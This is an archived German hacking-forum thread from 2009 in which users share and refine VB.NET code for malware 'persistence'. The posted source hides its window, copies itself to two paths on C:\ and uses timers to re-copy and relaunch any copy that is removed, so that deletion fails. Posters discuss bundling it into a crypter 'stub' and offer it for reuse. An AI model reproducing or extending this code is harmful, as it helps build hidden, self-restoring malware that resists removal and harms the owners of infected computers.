PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.NET] Persistant



inmate
29.06.2009, 19:59
Habe vorhin einen kleinen Source gemacht , der zeigt wie man eine Persistant funktion realisieren könnte.

Der Aufbau ist recht leicht:

[+] Es gibt 2 .exe´n die aufeinander "aufpassen", mit Timer intervallen
[+] Sollte eine der beiden .exe´n nicht mehr da sein wird sie aus den Ressourcen kopiert und neu gestartet.

PLS Credits geben falls ihr es benutzt ;)

DL:
http://ul.to/85r6vd

mfG

Sirect
29.06.2009, 20:01
Das heisst ich muss in der Stub 4 Exe-Files transportieren?
Die beiden EXE's mit jeweils 1 Exe in den Ressourcen.

inmate
29.06.2009, 20:04
öhhhm... 4 ja :D

edit: man könnte sie ja auch DL lassen.


ich habe ja nur ein kleines Beispiel gemacht ;)


mfG

Kaspersky
29.06.2009, 20:10
Seh ich das falsch oder hast du das total umständlich gemacht?
Hier mal meine methode:

If Not IO.File.Exists("Datei1.exe") Then
IO.File.WriteAllBytes("Datei1.exe", My.Resources.Datei1)
End If

In die andere exe das selbe blos mit dem anderen dateinamen

Sirect
29.06.2009, 20:11
Ja ach neeee :)
Aber du hast ja ne Stub, das ist die erste EXE.

Stub -> 2 Exe-Dateien, die aufeinander aufpassen -> jede braucht die andere als Ressouce = 4 Dateien + Die Stubsize.

Epiphone
29.06.2009, 20:13
Das ganze geht auch "einfacher" mit 1 .exe und ein paar IF Abfragen mehr!
Warum denn bitte gleich 4 .exe :P 1 tuts leicht!

Sirect
29.06.2009, 20:15
Mir ist das klar, ich hinterfrage nur Kaspersky's Lösung :)

inmate
29.06.2009, 20:19
@Epiphone , ja stimmt ich denke von Natur aus immer unständlich :rolleyes:

@ Sirect, ja das ist auffjedenfall zu gross :D

ich setzt mich nochmal dran ;)

mfG

Sirect
29.06.2009, 20:43
Mach die Stub mit ner Kontroll-Funktion, die über Argumente gesteuert wird.

Server.exe -> (Kopiert sich selbst) -> server2.exe [Pfad zu server.exe] -> Beide überwachen einander :)

Epiphone
29.06.2009, 21:26
machs doch mit einer .exe!
ich werde bei gelegenheit mal ein kleines bsp. schreiben. (in vb6)

inmate
29.06.2009, 21:57
Joo :)
Ich habs grade mit 1ner .exe versucht.
aber am Ende lassen sich beide nicht mehr löschen weil bei beiden der Zugriff verweigert wird ^^


Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
Try

IO.File.Copy(Application.ExecutablePath, ("C:\first.exe"))

IO.File.Copy(Application.ExecutablePath, ("C:\second.exe"))

Catch ex As Exception

End Try

Timer1.Interval = 4000
Timer1.Start()
Timer2.Interval = 4000
Timer2.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.Hide()
If IO.File.Exists("C:\first.exe") = False Then
IO.File.Copy(Application.ExecutablePath, ("C:\first.exe"))
Try
Process.Start("C:\first.exe")
Catch ex As Exception

End Try
End If
End Sub

Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Me.Hide()
If IO.File.Exists("C:\second.exe") = False Then
IO.File.Copy(Application.ExecutablePath, ("C:\second.exe"))
Try
Process.Start("C:\second.exe")
Catch ex As Exception

End Try
End If
End Sub
End Class

1Shot1Kill
29.06.2009, 22:17
ich checks immernoch nich ^^

inmate
29.06.2009, 23:12
Was checkst du nicht ?

Weist du ünerhaupt was Persistant ist ?

DarkFire
29.06.2009, 23:58
Schön gemacht werd ich vielleicht rippen >=)

Ne echt jetzt... schöner Sc kann man bestimmt mal gebrauchen^^ ---> (zum lernen natürlich *hust*)

inmate
30.06.2009, 00:17
^^ danke ,

ich arbeite noch dran aber gebauchen kann man ihn schon ;)
es erfüllt immerhin schon seinen Zweck


mfG